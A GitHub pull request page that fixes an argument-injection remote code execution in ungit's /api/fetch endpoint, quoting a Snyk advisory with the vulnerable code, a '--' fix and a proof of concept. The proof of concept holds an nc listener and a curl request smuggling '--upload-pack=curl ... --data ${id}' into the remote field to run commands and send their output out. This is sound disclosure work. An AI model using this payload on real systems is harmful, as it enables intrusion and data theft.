

[New issue](#)[Jump to bottom](#)

Fix potential remote code exec #1510

Merged jung-kim merged 1 commit into [master](#) from [jk/vuln](#) on Mar 18

Conversation 0 Commits 1 Checks 18 Files changed 1



jung-kim commented on Mar 17

Collaborator

source: snyk.io

Vulnerability: Remote Code Execution

Affected Version: *

Technical Details:

It's possible to get remote code execution via argument injection.

The issue occurs when calling the `/api/fetch` endpoint. The user input is passed to the `git` subcommand `fetch`. Even if a safe API like `spawn` is used to execute shell commands (

[ungit/source/git-promise.js](#)
Line 69 in 6aff6dc

```
69      const gitProcess = child_process.spawn(gitBin, args.commands, procOpts);
```

), in this specific case it's still possible to run arbitrary commands via argument injection.

The `fetch` subcommand accepts a special argument `--upload-pack` (<https://git-scm.com/docs/git-fetch#Documentation/git-fetch.txt---upload-packltupload-packgt>). Since the user controls two values provided to the `fetch` `git` subcommand (remote and ref), it is possible to execute arbitrary commands by providing the remote value to be `--upload-pack="command to execute"`. The command executed will be similar to the following:

```
git fetch --upload-pack="command to execute" foobar
```

Here is the code that accepts these values:

```
//
```

[ungit/source/git-api.js](#)

Lines 294 to 297 in 6aff6dc

```
294     'fetch',
295     req.body.remote,
296     req.body.ref ? req.body.ref : '',
297     config.autoPruneOnFetch ? '--prune' : '',
```

```
app.post(
```

```
  ${exports.pathPrefix}/fetch ,
```

```
  ensureAuthenticated,
```

```
  ensurePathExists,
```

```
  ensureValidSocketId,
```

```
  (req, res) => {
```

```
    // Allow a little longer timeout on fetch (10min)
```

```
    if (res.setTimeout) res.setTimeout(tenMinTimeoutMs);
```

```
    const task = gitPromise({
```

```
      commands: credentialsOption(req.body.socketId, req.body.remote).concat([
```

```
        'fetch',
```

```
        req.body.remote,
```

```
        req.body.ref ? req.body.ref : '',
```

```
        config.autoPruneOnFetch ? '--prune' : '',
```

```
      ]),
```

```
      repoPath: req.body.path,
```

```
      timeout: tenMinTimeoutMs,
```

```
    });
```

```
    jsonResultOrFailProm(res, task).finally(emitGitDirectoryChanged.bind(null, req.body.path));
```

```
  }
```

```
);
```

Potential Fix

A possible remediation to fix this issue could be to add -- (see here for more information about it https://git-scm.com/docs/gitcli/2.25.0#_description) before the user provided values (it's just a suggestion):

```
commands: credentialsOption(req.body.socketId, req.body.remote).concat([
```

```
  'fetch',
```

```
  config.autoPruneOnFetch ? '--prune' : '',
```

```
  '--',
```

```
  req.body.remote,
```

```
  req.body.ref ? req.body.ref : ''
```

```
]),
```

Proof Of Concept/Steps to Reproduce

Install ungit and setup a project (I used ungit repo itself)

```
cd /home/ubuntu/poc/
```

```
npm install -g ungit
```

```
git clone https://github.com/FredrikNoren/ungit.git
```

```
cd ungit/
```

```
ungit
```

the project will be available at <http://localhost:8448/#/repository?path=/home/ubuntu/poc/ungit>

RCE Exploitation

setup a listener for accepting incoming connections:

```
nc -nvlp 8000
```

run the following curl command to get the output of the id command:

```
curl -d '{"path":"/home/ubuntu/poc/ungit","remote":"--upload-pack=curl http://localhost:8000/ --data  
"${id}","ref":"foobar","socketId":1}' -H "Content-Type: application/json" -X POST  
http://localhost:8448/api/fetch
```

This is the same request sent:

```
POST /api/fetch HTTP/1.1
Host: localhost:8448
Content-Length: 134
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
Accept: application/json
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/97.0.4692.71 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://localhost:8448/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: [http://localhost:8448/
Accept-Encoding](http://localhost:8448/%0DAccept-Encoding): gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

```
{"path":"/home/ubuntu/poc/ungit","remote":"--upload-pack=curl http://localhost:8000/ --data  
\"${id}\"",  
"ref":"foobar",  
"socketId":1}
```



1

  Fix potential remote code exec

✖ 37a6893

  campersau mentioned this pull request on Mar 18

Add -- before potential user provided input to make it disambiguating #1509

 Closed

campersau approved these changes on Mar 18

[View changes](#)

 jung-kim merged commit **0f16fa5** into master on Mar 18
18 of 19 checks passed

[View details](#)


  jung-kim deleted the jk/vuln branch 8 months ago

  campersau mentioned this pull request on Mar 18

Prepare version 1.5.20 #1511

 Merged

Reviewers

 campersau



Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

None yet

2 participants

